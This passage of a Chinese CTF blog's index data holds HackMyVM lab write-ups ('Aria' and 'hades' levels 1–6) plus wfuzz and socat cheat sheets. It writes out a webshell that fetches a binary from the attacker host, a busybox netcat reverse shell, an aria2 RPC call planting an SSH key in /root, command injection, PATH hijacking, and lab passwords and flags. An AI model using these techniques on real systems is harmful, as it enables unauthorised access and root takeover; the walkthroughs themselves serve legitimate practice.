","date":"2026-04-11","heading":"文件上传漏洞检测","objectID":"/p/aria/:2:1","tags":["HackMyVM","Easy"],"title":"Aria","uri":"/p/aria/#文件上传漏洞检测"},{"categories":["靶机复盘"],"collections":null,"content":"木马后门验证 后端报错了，我前面写的木马有问题了，已经改过来了。 后门 可以 执行任意代码。 从上图我们还可以获取到的有用信息： php 禁用了这些函数：system,passthru,shell_exec,proc_open,pcntl_exec,dl ","date":"2026-04-11","heading":"木马后门验证","objectID":"/p/aria/:3:0","tags":["HackMyVM","Easy"],"title":"Aria","uri":"/p/aria/#木马后门验证"},{"categories":["靶机复盘"],"collections":null,"content":"反向shell测试 ┌──(kali㉿kali)-[/tmp/123] └─$ cp /usr/bin/busybox . ┌──(kali㉿kali)-[/tmp/123] └─$ ls busybox ┌──(kali㉿kali)-[/tmp/123] └─$ python -m http.server Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... # 这是在攻击者机器上 我们通过我们留的后门下载busybox，payload： http://192.168.56.214/uploads/7fcc37501cf060e0fafbc26adef5ce30.php?cmd=$a=array();exec('curl -O http://192.168.56.102:8000/busybox',$a);print_r($a); 这里用curl的原因：没有wget命令。 http://192.168.56.214/uploads/7fcc37501cf060e0fafbc26adef5ce30.php?cmd=$a=array();exec('chmod 777 busybox;ls -al busybox',$a);print_r($a); 这里为busybox的添加可执行权限。 反向连接shell： # 在攻击者机器上监听39666端口 nc -lvvnp 39666 通过后门执行： http://192.168.56.214/uploads/7fcc37501cf060e0fafbc26adef5ce30.php?cmd=$a=array();exec('busybox nc 192.168.56.102 39666 -e /bin/bash',$a);print_r($a); 验证shell： ┌──(kali㉿kali)-[/tmp/123] └─$ nc -lvvnp 39666 listening on [any] 39666 ... connect to [192.168.56.102] from (UNKNOWN) [192.168.56.214] 42820 id uid=33(www-data) gid=33(www-data) groups=33(www-data) ","date":"2026-04-11","heading":"反向shell测试","objectID":"/p/aria/:4:0","tags":["HackMyVM","Easy"],"title":"Aria","uri":"/p/aria/#反向shell测试"},{"categories":["靶机复盘"],"collections":null,"content":"优化非交互式shell srcipt -qc /bin/bash /dev/null # 优化为半交互式shell # ctrl + Z # sttr raw -echo; fg # reset # xterm www-data@Aria:/var/www/html/uploads$ export TERM=xterm www-data@Aria:/var/www/html/uploads$ export SHELL=/bin/bash www-data@Aria:/var/www/html/uploads$ source /home/aria/.bashrc www-data@Aria:/home/aria$ stty rows 21 columns 130 # 这就是全交互式shell ","date":"2026-04-11","heading":"优化非交互式shell","objectID":"/p/aria/:5:0","tags":["HackMyVM","Easy"],"title":"Aria","uri":"/p/aria/#优化非交互式shell"},{"categories":["靶机复盘"],"collections":null,"content":"纵向移动 ","date":"2026-04-11","heading":"纵向移动","objectID":"/p/aria/:6:0","tags":["HackMyVM","Easy"],"title":"Aria","uri":"/p/aria/#纵向移动"},{"categories":["靶机复盘"],"collections":null,"content":"系统信息枚举 www-data@Aria:/home/aria$ cat user.txt flag{user-d13adadc6bbc[hidden] ​‌‌‌​‌​​​‌‌​‌‌‌‌​‌‌​‌​‌‌​‌‌​​‌​‌​‌‌​‌‌‌​​​‌‌‌​‌​​​‌​​​​​​‌‌​‌‌​‌​‌‌​​​​‌​‌‌‌‌​‌​​‌‌​​‌​‌​​‌​‌‌​‌​‌‌‌​​‌‌​‌‌​​‌​‌​‌‌​​​‌‌www-data@Aria:/home/aria$ cat -A user.txt flag{user-d13adadc6bbc1391394a5198cba2d1d7}$ M-bM-^@M-^KM-bM-^@M-^LM-bM-^@M-^LM-bM-^@M-^LM-bM-^@M-^KM-bM-^@M-^LM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^LM-bM-^@M-^LM-bM-^@M-^KM-bM-^@M-^LM-bM-^@M-^LM-bM-^@M-^LM-bM-^@M-^LM-bM-^@M-^KM-bM-^@M-^LM-bM-^@M-^LM-bM-^@M-^KM-bM-^@M-^LM-bM-^@M-^KM-bM-^@M-^LM-bM-^@M-^LM-bM-^@M-^KM-bM-^@M-^LM-bM-^@M-^LM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^LM-bM-^@M-^KM-bM-^@M-^LM-bM-^@M-^KM-bM-^@M-^LM-bM-^@M-^LM-bM-^@M-^KM-bM-^@M-^LM-bM-^@M-^LM-bM-^@M-^LM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^LM-bM-^@M-^LM-bM-^@M-^LM-bM-^@M-^KM-bM-^@M-^LM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^LM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^LM-bM-^@M-^LM-bM-^@M-^KM-bM-^@M-^LM-bM-^@M-^LM-bM-^@M-^KM-bM-^@M-^LM-bM-^@M-^KM-bM-^@M-^LM-bM-^@M-^LM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^LM-bM-^@M-^KM-bM-^@M-^LM-bM-^@M-^LM-bM-^@M-^LM-bM-^@M-^LM-bM-^@M-^KM-bM-^@M-^LM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^LM-bM-^@M-^LM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^LM-bM-^@M-^KM-bM-^@M-^LM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^LM-bM-^@M-^KM-bM-^@M-^LM-bM-^@M-^LM-bM-^@M-^KM-bM-^@M-^LM-bM-^@M-^KM-bM-^@M-^LM-bM-^@M-^LM-bM-^@M-^LM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^LM-bM-^@M-^LM-bM-^@M-^KM-bM-^@M-^LM-bM-^@M-^LM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^LM-bM-^@M-^KM-bM-^@M-^LM-bM-^@M-^KM-bM-^@M-^LM-bM-^@M-^LM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^LM-bM-^@M-^L flag后面隐藏了一段信息，这是零宽字符隐写，零宽字符隐写在线工具。 www-data@Aria:/home/aria$ find / -perm -u=s -type f -exec ls -al {} \\; 2\u003e/dev/null -rwsr-xr-x 1 root root 44528 Jul 27 2018 /usr/bin/chsh -rwsr-xr-x 1 root root 54096 Jul 27 2018 /usr/bin/chfn -rwsr-xr-x 1 root root 44440 Jul 27 2018 /usr/bin/newgrp -rwsr-xr-x 1 root root 84016 Jul 27 2018 /usr/bin/gpasswd -rwsr-xr-x 1 root root 47184 Apr 6 2024 /usr/bin/mount -rwsr-xr-x 1 root root 63568 Apr 6 2024 /usr/bin/su -rwsr-xr-x 1 root root 34888 Apr 6 2024 /usr/bin/umount -rwsr-xr-x 1 root root 23448 Jan 13 2022 /usr/bin/pkexec -rwsr-xr-x 1 root root 182600 Jan 14 2023 /usr/bin/sudo -rwsr-xr-x 1 root root 63736 Jul 27 2018 /usr/bin/passwd -rwsr-xr-- 1 root messagebus 51336 Jun 6 2023 /usr/lib/dbus-1.0/dbus-daemon-launch-helper -rwsr-xr-x 1 root root 10232 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device -rwsr-xr-x 1 root root 481608 Dec 21 2023 /usr/lib/openssh/ssh-keysign -rwsr-xr-x 1 root root 19040 Jan 13 2022 /usr/libexec/polkit-agent-helper-1 # www-data 不是一个真正的用户，使用sudo -l时，发现其需要密码，修改密码发现权限不够。 www-data@Aria:/home/aria$ /usr/sbin/getcap -r / 2\u003e/dev/null /usr/bin/ping = cap_net_raw+ep /usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep sudo capabilities suid 信息枚举 并没有发现有利于提权的信息。 www-data@Aria:/tmp/123$ busybox netstat -tuln Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 0.0.0.0:1337 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:6800 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN tcp 0 0 :::80 :::* LISTEN tcp 0 0 ::1:6800 :::* LISTEN tcp 0 0 :::22 :::* LISTEN udp 0 0 0.0.0.0:68 0.0.0.0:* 本地在6800端口还运行这一个服务，该服务是Aria2 RPC 服务，Aria2 是一个功能强大的下载工具。查看该服务是以啥身份运行： www-data@Aria:/tmp/123$ ps -aux | grep aria root 365 0.0 0.1 56656 2228 ? Ss 02:20 0:03 /usr/bin/aria2c --conf-path=/root/.aria2/aria2.conf aria 421 0.0 0.1 15916 3540 ? Ss 02:20 0:00 /lib/systemd/systemd --user aria 427 0.0 0.0 17772 1768 ? S 02:20 0:00 (sd-pam) aria 1636 0.0 0.0 2472 508 ? Ss 05:00 0:00 /bin/sh -c yes aria 1637 32.8 0.0 5352 500 ? D 05:00 0:10 yes www-data 1641 0.0 0.0 3176 648 pts/1 S+ 05:00 0:00 grep aria 该服务是以root身份运行，我们可以将文件下载到/root目录下。 ","date":"2026-04-11","heading":"系统信息枚举","objectID":"/p/aria/:6:1","tags":["HackMyVM","Easy"],"title":"Aria","uri":"/p/aria/#系统信息枚举"},{"categories":["靶机复盘"],"collections":null,"content":"权限提升 思路：我们在攻击机器上创建一个密钥，通过python -m http.server开启一个http服务，在靶机上通过aria2 RPC 服务把公钥下载到/root/.ssh目录下，通过ssh进行登录。 在攻击机器上： ┌──(root㉿kali)-[~/.ssh] └─# ssh-keygen # 创建一个密钥 ┌──(root㉿kali)-[~/.ssh] └─# python3 -m http.server 8000 Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... 在靶机上： www-data@Aria:/tmp/123$ curl -H \"Content-Type: application/json\" -d '{\"jsonrpc\":\"2.0\",\"id\":\"1\",\"method\":\"aria2.addUri\",\"params\":[\"token:maze-sec\",[\"http://192.168.56.102:8000/id_ed25519.pub\"],{\"dir\":\"/root/.ssh\",\"out\":\"authorized_keys\"}]}' http://127.0.0.1:6800/jsonrpc {\"id\":\"1\",\"jsonrpc\":\"2.0\",\"result\":\"58e7587814c4cc3f\"} ┌──(root㉿kali)-[~/.ssh] └─# ssh -i id_ed25519 root@192.168.56.214 ** WARNING: connection is not using a post-quantum key exchange algorithm. ** This session may be vulnerable to \"store now, decrypt later\" attacks. ** The server may need to be upgraded. See https://openssh.com/pq.html Linux Aria 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. root@Aria:~# cat /root/root.txt flag{root-374495cbd5[hidden] ","date":"2026-04-11","heading":"权限提升","objectID":"/p/aria/:6:2","tags":["HackMyVM","Easy"],"title":"Aria","uri":"/p/aria/#权限提升"},{"categories":["靶机复盘"],"collections":null,"content":"总结 我自己只走到优化非交互式shell，后面的看的别人的wp做的，提权，我只会suid，sudo，capiabilities。 这次也是学到一个新的提权方法，如果一些特定的服务以root权限，我们可以利用该服务的某些功能进行提权。 user.txt 是我在网页通过木马后门拿到的，也没有看到后面的隐写，当时还在纳闷，aria2下载东西需要token，但是aria2服务又不会自己下发token，我在系统里面找了好久，没有找到，看别人wp才知道在user.txt里面。 ","date":"2026-04-11","heading":"总结","objectID":"/p/aria/:7:0","tags":["HackMyVM","Easy"],"title":"Aria","uri":"/p/aria/#总结"},{"categories":["靶机复盘"],"collections":null,"content":"wfuzz wfuzz 是一个常用的 Web 模糊测试工具，主要用来“批量替换请求中的某个位置”，看看服务器会返回什么结果。常见用途有： 爆破目录/文件 测试参数名/参数值 测试子域名 测试登录口令 发现隐藏接口 常用参数 -w：字典文件 -d：POST 数据 -H：自定义请求头 -X：指定方法，如 GET、POST -b：带 Cookie -u：指定 URL（有些版本直接写 URL 也行） \u0026ndash;hc：隐藏某个状态码 \u0026ndash;hh：隐藏某个响应长度 \u0026ndash;hw：隐藏某个响应单词数 \u0026ndash;hl：隐藏某个响应行数 -t：线程数 常见用法 扫目录 wfuzz -c -w common.txt http://example.com/FUZZ 扫 GET 参数值 wfuzz -c -w ids.txt \"http://example.com/user?id=FUZZ\" 扫参数名 wfuzz -c -w params.txt \"http://example.com/page?FUZZ=test\" POST 模糊测试 wfuzz -c -w users.txt -d \"username=FUZZ\u0026password=123456\" http://example.com/login 同时 fuzz 两个位置 wfuzz -c -w users.txt -w pass.txt -d \"username=FUZZ\u0026password=FUZ2Z\" http://example.com/login 第一个字典替换 FUZZ 第二个字典替换 FUZ2Z 结果怎么看 输出里常看这几个字段： C：HTTP 状态码 Lines：响应行数 Word：响应单词数 Chars：响应字符数 实战示例 1）找隐藏后台 wfuzz -c -w common.txt --hc 404 http://example.com/FUZZ 2）带 Cookie 测试已登录页面 wfuzz -c -w api.txt -b \"PHPSESSID=xxxx\" http://example.com/FUZZ 3）带请求头 wfuzz -c -w ids.txt -H \"User-Agent: Mozilla/5.0\" \"http://example.com/item?id=FUZZ\" 4）测试 Host 头 / 子域 wfuzz -c -w subdomains.txt -H \"Host: FUZZ.example.com\" http://example.com/ 容易混淆的点 FUZZ：第一个占位符 FUZ2Z：第二个占位符 FUZ3Z：第三个占位符 ","date":"2026-04-11","heading":"wfuzz","objectID":"/p/aria/:7:1","tags":["HackMyVM","Easy"],"title":"Aria","uri":"/p/aria/#wfuzz"},{"categories":["靶机复盘"],"collections":null,"content":"socat 常用命令清单 本地监听并转发到远端 socat TCP-LISTEN:8080,reuseaddr,fork TCP:192.168.56.214:80 只绑定本机回环 socat TCP-LISTEN:8080,bind=127.0.0.1,reuseaddr,fork TCP:192.168.56.214:80 绑定所有网卡 socat TCP-LISTEN:8080,bind=0.0.0.0,reuseaddr,fork TCP:192.168.56.214:80 把本地回环服务暴露出去 socat TCP-LISTEN:6801,bind=0.0.0.0,reuseaddr,fork TCP:127.0.0.1:6800 本地新端口转到远端新端口 socat TCP-LISTEN:9000,reuseaddr,fork TCP:10.10.10.5:3389 TCP 转 Unix Socket socat TCP-LISTEN:8080,reuseaddr,fork UNIX-CONNECT:/tmp/app.sock Unix Socket 转 TCP socat UNIX-LISTEN:/tmp/test.sock,fork TCP:127.0.0.1:3306 主动连一个 TCP 服务 socat - TCP:192.168.56.214:445 主动连一个 Unix Socket socat - UNIX-CONNECT:/var/run/docker.sock UDP 监听 socat UDP-LISTEN:5353,reuseaddr,fork - 发送 UDP 数据 echo \"test\" | socat - UDP:192.168.56.214:161 SSL 包装转发 socat OPENSSL-LISTEN:8443,cert=server.pem,key=server.key,reuseaddr,fork TCP:127.0.0.1:8080 连接远端 SSL 服务 socat - OPENSSL:192.168.56.214:443,verify=0 带调试输出运行 socat -d -d TCP-LISTEN:8080,reuseaddr,fork TCP:192.168.56.214:80 后台运行 nohup socat TCP-LISTEN:8080,reuseaddr,fork TCP:192.168.56.214:80 \u003e/tmp/socat.log 2\u003e\u00261 \u0026 10 个常见转发场景 1. 暴露本地回环 Web socat TCP-LISTEN:8080,bind=0.0.0.0,reuseaddr,fork TCP:127.0.0.1:80 访问靶机 8080，实际就是访问它本机的 127.0.0.1:80 2. 暴露本地回环管理端口 socat TCP-LISTEN:6801,bind=0.0.0.0,reuseaddr,fork TCP:127.0.0.1:6800 适合把只监听本地的管理面板临时映射出来 3. 转发到内网 RDP socat TCP-LISTEN:13389,reuseaddr,fork TCP:10.10.10.23:3389 用跳板机把内网 Windows 远程桌面引出来 4. 转发到内网 SSH socat TCP-LISTEN:10022,reuseaddr,fork TCP:10.10.10.15:22 外部连跳板机 10022，实际进内网主机 22 5. 转发到内网 SMB socat TCP-LISTEN:1445,reuseaddr,fork TCP:10.10.10.8:445 用于文件共享、认证测试链路验证 6. 转发数据库端口 socat TCP-LISTEN:13306,reuseaddr,fork TCP:10.10.10.20:3306 常见于 MySQL/MariaDB 内网访问验证 7. HTTP 经 Unix Socket 暴露 socat TCP-LISTEN:8080,reuseaddr,fork UNIX-CONNECT:/tmp/backend.sock 把 Nginx/uwsgi/gunicorn 之类的 Unix Socket 服务映射出来 8. 把 Docker Socket 映射成 TCP socat TCP-LISTEN:2375,bind=127.0.0.1,reuseaddr,fork UNIX-CONNECT:/var/run/docker.sock 方便本地工具通过 TCP 连 Unix Socket 9. SSL 外壳包住明文服务 socat OPENSSL-LISTEN:9443,cert=server.pem,key=server.key,reuseaddr,fork TCP:127.0.0.1:9000 把明文服务套一层 TLS，便于某些链路穿透或测试 10. 单纯做链路探测/调试 printf 'GET / HTTP/1.1\\r\\nHost: 10.10.10.5\\r\\n\\r\\n' | socat - TCP:10.10.10.5:80 用来验证端口通不通、服务回不回、响应长什么样 ","date":"2026-04-11","heading":"socat","objectID":"/p/aria/:7:2","tags":["HackMyVM","Easy"],"title":"Aria","uri":"/p/aria/#socat"},{"categories":["靶机复盘"],"collections":null,"content":"HackMyVM 靶机 hades 的渗透测试与提权记录","date":"2026-04-08","objectID":"/p/hades/","tags":["HackMyVM"],"title":"hades","uri":"/p/hades/"},{"categories":["靶机复盘"],"collections":null,"content":"嗨，黑客们，欢迎来到 HMVLab 第二章：冥王哈迪斯！这是一个比第一章难度稍高的 CTF，你将继续练习你的 Linux 和 CTF 技能。 所以，让我们继续探索吧！:) 记住： 每个用户的家目录都在 /pwned/ 用户名 下，在里面你会找到一个名为 mission.txt 的文件，里面会写着 你需要完成的任务，以获取下一个用户的密码。 目录里还会有 flagz.txt 文件， 如果你在 https://hackmyvm.eu 注册过账号，可以提交这个 flag 参与排行榜（可选）。 为了保持趣味性，这里还有更多隐藏关卡和隐藏 flag哦：D 大部分文件夹你都没有写入权限，所以如果你需要编写脚本或存放文件， 请使用 /tmp 目录，但要注意：这个目录会被定期清空…… 最后（同样重要）： 有些用户可以修改位于 /www 文件夹下的文件，这些文件可以通过 http://hades.hackmyvm.eu 访问。所以如果你拿到一个能修改 /www/limbo.txt 的用户权限， 你就可以写入一段内容，它会显示在 http://hades.hackmyvm.eu/limbo.txt 上。 如果你有疑问、想法或想交流任何内容，可以加入我们的 Discord： https://discord.gg/DxDFQrJ 记住还有其他人在玩，请保持礼貌。 黑客愉快，玩得开心！ ","date":"2026-04-08","heading":"","objectID":"/p/hades/:0:0","tags":["HackMyVM"],"title":"hades","uri":"/p/hades/#"},{"categories":["靶机复盘"],"collections":null,"content":"level1 cat mission.txt ################ # MISSION 0x01 # ################ ## EN ## User acantha has left us a gift to obtain her powers. ## ES ## La usuaria acantha nos ha dejado un regalo para obtener sus poderes. find / -name *gift* 2\u003e/dev/null /usr/share/man/man1/giftopnm.1.gz /usr/bin/giftopnm /opt/gift_hacker scp -P 6666 hacker@hades.hackmyvm.eu:/opt/gift_hacker ./ gift_hacker 的 伪C代码： int32_t main (void) { int64_t var_28h; int64_t var_20h; int64_t var_19h; rax = 0x644b69706b54755e; rdx = 0x7367426577786c6b; var_28h = rax; var_20h = rdx; rax = 0x5e4b7978727073; var_19h = rax; edi = 0x7fb; setuid (); edi = 0x7fb; setgid (); rax = \"/bin/bash\"; rdi = rax; eax = 0; system (); eax = 0; return rax; } /opt/gitf_hacker acantha@hades:~$ # 它会切换到acantha 页面 # 我们找一下他的密码。 find / -user acantha -type f 2\u003e/dev/null | grep -v \"proc\" /pazz/acantha_pass.txt cat /pazz/acantha_pass.txt mYYLhLBSkrzZqFydxGkn ","date":"2026-04-08","heading":"level1","objectID":"/p/hades/:1:0","tags":["HackMyVM"],"title":"hades","uri":"/p/hades/#level1"},{"categories":["靶机复盘"],"collections":null,"content":"level2 acantha@hades:~$ ls -al total 48 drwxr-x--- 2 root acantha 4096 Apr 5 2024 . drwxr-xr-x 1 root root 4096 Apr 5 2024 .. -rw-r--r-- 1 acantha acantha 220 Apr 23 2023 .bash_logout -rw-r--r-- 1 acantha acantha 3526 Apr 23 2023 .bashrc -rw-r--r-- 1 acantha acantha 807 Apr 23 2023 .profile -rw-r----- 1 root acantha 22 Apr 5 2024 flagz.txt -rw-r-x--- 1 root acantha 16064 Apr 5 2024 guess -rw-r----- 1 root acantha 275 Apr 5 2024 mission.txt acantha@hades:~$ cat flagz.txt ^CaEuVJtJjaCwZtuuAFD^ acantha@hades:~$ cat mission.txt ################ # MISSION 0x02 # ################ ## EN ## The user alala has left us a program, if we insert the 6 correct numbers, she gives us her password! ## ES ## La usuaria alala nos ha dejado un programa, si insertamos los 6 numeros correctos, nos da su password! scp -P 6666 acantha@hades.hackmyvm.eu:~/guess ./ guess 的 伪C代码： int32_t main (int32_t argc, char ** argv) { char ** var_28h; int32_t var_1ch; int64_t var_ch; rdi = argc; rsi = argv; var_1ch = edi; var_28h = rsi; rax = \"Enter PIN code:\\n \"; eax = 0; printf (rax); rax = \u0026var_ch; rsi = rax; rax = data_00002016; rdi = rax; eax = 0; isoc99_scanf (); eax = var_ch; if (eax == 0x16f8) { rax = \"DsYzpJQrCEndEWIMxWxu\"; eax = 0; printf (rax); } else { rax = \"\\nNO :_(\"; puts (rax); } eax = 0; return rax; } ./guess Enter PIN code: 0x16f8 DsYzpJQrCEndEWIMxWxu ","date":"2026-04-08","heading":"level2","objectID":"/p/hades/:2:0","tags":["HackMyVM"],"title":"hades","uri":"/p/hades/#level2"},{"categories":["靶机复盘"],"collections":null,"content":"level3 (man) alala@hades:~$ ls -al total 52 drwxr-x--- 2 root alala 4096 Apr 5 2024 . drwxr-xr-x 1 root root 4096 Apr 5 2024 .. -rw-r--r-- 1 alala alala 220 Apr 23 2023 .bash_logout -rw-r--r-- 1 alala alala 3526 Apr 23 2023 .bashrc -rw-r--r-- 1 alala alala 807 Apr 23 2023 .profile -r--r----- 1 althea althea 21 Apr 5 2024 althea_pass.txt -rw-r----- 1 root alala 22 Apr 5 2024 flagz.txt -rw-r----- 1 root alala 164 Apr 5 2024 mission.txt -rwS--s--- 1 root alala 16056 Apr 5 2024 read alala@hades:~$ cat flagz.txt ^gTdGmkwhDrCqKrDQpxH^ alala@hades:~$ cat mission.txt ################ # MISSION 0x03 # ################ ## EN ## User althea loves reading Linux help. ## ES ## A la usuaria althea le encanta leer la ayuda de Linux. alala@hades:~$ ./read ./read 相当于 man man这条命令，./read 具有suid位，可以进行提权。 ./read # !echo 1 1 !done (press RETURN) # !whoami althea !done (press RETURN) # !ls -al total 52 drwxr-x--- 2 root alala 4096 Apr 5 2024 . drwxr-xr-x 1 root root 4096 Apr 5 2024 .. -rw-r--r-- 1 alala alala 220 Apr 23 2023 .bash_logout -rw-r--r-- 1 alala alala 3526 Apr 23 2023 .bashrc -rw-r--r-- 1 alala alala 807 Apr 23 2023 .profile -r--r----- 1 althea althea 21 Apr 5 2024 althea_pass.txt -rw-r----- 1 root alala 22 Apr 5 2024 flagz.txt -rw-r----- 1 root alala 164 Apr 5 2024 mission.txt -rwS--s--- 1 root alala 16056 Apr 5 2024 read !done (press RETURN) # !cat althea_pass.txt ObxEmwisYjERrDfvSbdA !done (press RETURN) man man 的suid提权。 man man !/bin/sh # 这里 ! 开头，可以进行命令执行。 ","date":"2026-04-08","heading":"level3 (man)","objectID":"/p/hades/:3:0","tags":["HackMyVM"],"title":"hades","uri":"/p/hades/#level3-man"},{"categories":["靶机复盘"],"collections":null,"content":"level4 ls -al total 52 drwxr-x--- 2 root althea 4096 Apr 5 2024 . drwxr-xr-x 1 root root 4096 Apr 5 2024 .. -rw-r--r-- 1 althea althea 220 Apr 23 2023 .bash_logout -rw-r--r-- 1 althea althea 3526 Apr 23 2023 .bashrc -rw-r--r-- 1 althea althea 807 Apr 23 2023 .profile -r--r----- 1 andromeda andromeda 21 Apr 5 2024 andromeda_pass.txt -rw-r----- 1 root althea 22 Apr 5 2024 flagz.txt -rwS--s--- 1 root althea 16216 Apr 5 2024 lsme -rw-r----- 1 root althea 205 Apr 5 2024 mission.txt althea@hades:~$ cat flagz.txt ^btDtPAPzSiXmoHItpqX^ althea@hades:~$ cat mission.txt ################ # MISSION 0x04 # ################ ## EN ## The user andromeda has left us a program to list directories. ## ES ## La usuaria andromeda nos ha dejado un programa para listar directorios. althea@hades:~$ ./lsme Enter file to check: . total 28 -r--r----- 1 andromeda andromeda 21 Apr 5 2024 andromeda_pass.txt -rw-r----- 1 root althea 22 Apr 5 2024 flagz.txt -rwS--s--- 1 root althea 16216 Apr 5 2024 lsme -rw-r----- 1 root althea 205 Apr 5 2024 mission.txt althea@hades:~$ ./lsme Enter file to check: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa /bin/ls: cannot access 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa': No such file or directory Segmentation fault # 猜测这里是 /bin/ls + 我们输入的内容。 ./lsme Enter file to check: ;id total 28 -r--r----- 1 andromeda andromeda 21 Apr 5 2024 andromeda_pass.txt -rw-r----- 1 root althea 22 Apr 5 2024 flagz.txt -rwS--s--- 1 root althea 16216 Apr 5 2024 lsme -rw-r----- 1 root althea 205 Apr 5 2024 mission.txt uid=2046(andromeda) gid=2045(althea) groups=2045(althea) # 但是无法cat andromeda_pass.txt ./lsme Enter file to check: ;/bin/sh total 28 -r--r----- 1 andromeda andromeda 21 Apr 5 2024 andromeda_pass.txt -rw-r----- 1 root althea 22 Apr 5 2024 flagz.txt -rwS--s--- 1 root althea 16216 Apr 5 2024 lsme -rw-r----- 1 root althea 205 Apr 5 2024 mission.txt whoami andromeda cat andromeda_pass.txt OTWGTbHzrxhYFSTlKcOt ","date":"2026-04-08","heading":"level4","objectID":"/p/hades/:4:0","tags":["HackMyVM"],"title":"hades","uri":"/p/hades/#level4"},{"categories":["靶机复盘"],"collections":null,"content":"level5(环境变量劫持) andromeda@hades:~$ ls -al total 52 drwxr-x--- 2 root andromeda 4096 Apr 5 2024 . drwxr-xr-x 1 root root 4096 Apr 5 2024 .. -rw-r--r-- 1 andromeda andromeda 220 Apr 23 2023 .bash_logout -rw-r--r-- 1 andromeda andromeda 3526 Apr 23 2023 .bashrc -rw-r--r-- 1 andromeda andromeda 807 Apr 23 2023 .profile -r--r----- 1 anthea anthea 21 Apr 5 2024 anthea_pass.txt -rw-r----- 1 root andromeda 22 Apr 5 2024 flagz.txt -rw-r----- 1 root andromeda 166 Apr 5 2024 mission.txt -rwS--s--- 1 root andromeda 16056 Apr 5 2024 uid andromeda@hades:~$ cat flagz.txt ^xzsHGrOeNctIZLGKzWq^ andromeda@hades:~$ cat mission.txt ################ # MISSION 0x05 # ################ ## EN ## The user anthea reminds us who we are. ## ES ## La usuaria anthea procura que no olvidemos quien somos. 这道题使用的是环境变量劫持，在linux中，我们可以直接输入cat，主要是因为$PATH中用/usr/bin，我们输入的命令受$PATH的影响。 andromeda@hades:~$ mkdir /tmp/2 andromeda@hades:~$ ln -s /bin/bash /tmp/2/id # 创建一个软连接 andromeda@hades:~$ PATH=\"/tmp/2:${PATH}\" andromeda@hades:~$ echo $PATH /tmp/2:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games # 当我们运行uid的话，它就运行的/tmp/2/id. andromeda@hades:~$ ./uid # ./uid 就是 id 命令 anthea@hades:~$ cat anthea_pass.txt yWFLtSNQArEBTHtWgkKd ","date":"2026-04-08","heading":"level5(环境变量劫持)","objectID":"/p/hades/:5:0","tags":["HackMyVM"],"title":"hades","uri":"/p/hades/#level5环境变量劫持"},{"categories":["靶机复盘"],"collections":null,"content":"level6(与ascii值相关) anthea@hades:~$ ls -al total 52 drwxr-x--- 2 root anthea 4096 Apr 5 2024 . drwxr-xr-x 1 root root 4096 Apr 5 2024 .. -rw-r--r-- 1 anthea anthea 220 Apr 23 2023 .bash_logout -rw-r--r-- 1 anthea anthea 3526 Apr 23 2023 .bashrc -rw-r--r-- 1 anthea anthea 807 Apr 23 2023 .profile -r--r----- 1 aphrodite aphrodite 21 Apr 5 2024 aphrodite_pass.txt -rw-r----- 1 root anthea 22 Apr 5 2024 flagz.txt -rw-r----- 1 root anthea 175 Apr 5 2024 mission.txt -rwS--s--- 1 root anthea 16256 Apr 5 2024 obsessed anthea@hades:~$ cat mission.txt ################ # MISSION 0x06 # ################ ## EN ## User aphrodite is obsessed(着迷) with the number 94. ## ES ## La usuaria aphrodite esta obsesionada con el numero 94. anthea@hades:~$ ./obsessed No MYID ENV # 告诉我们没有环境变量 anthea@hades:~$ export MYID=94 anthea@hades:~$ ./obsessed Current MYID: 57 Incorrect MYID 其实这里只读了9，9的ascii值是：57。94 对应的是 ^，所以只要我们设置export MYID=^，密码就正确了。 anthea@hades:~$ export MYID=^ anthea@hades:~$ ./obsessed Current MYID: 94 aphrodite@hades:~$ whoami aphrodite aphrodite@hades:~$ ls -al total 52 drwxr-x--- 2 root anthea 4096 Apr 5 2024 . drwxr-xr-x 1 root root 4096 Apr 5 2024 .. -rw-r--r-- 1 anthea anthea 220 Apr 23 2023 .bash_logout -rw-r--r-- 1 anthea anthea 3526 Apr 23 2023 .bashrc -rw-r--r-- 1 anthea anthea 807 Apr 23 2023 .profile -r--r----- 1 aphrodite aphrodite 21 Apr 5 2024 aphrodite_pass.txt -rw-r----- 1 root anthea 22 Apr 5 2024 flagz.txt -rw-r----- 1 root anthea 175 Apr 5 2024 mission.txt -rwS--s--- 1 root anthea 16256 Apr 5 2024 obsessed aphrodite@hades:~$ cat aphrodite_pass.txt HPJVaqRzieKQeyyATsFv ","date":"2026-04-08","heading":"level6(与ascii值相关)","objectID":"/p/hades/:6:0","tags":["HackMyVM"],"title":"hades","uri":"/p/hades/#level6与ascii值相关"},{"categories":["靶机复盘"],"collections":null,"content":"level7 aphrodite@hades:~$ ls -al total 52 drwxr-x--- 2 root 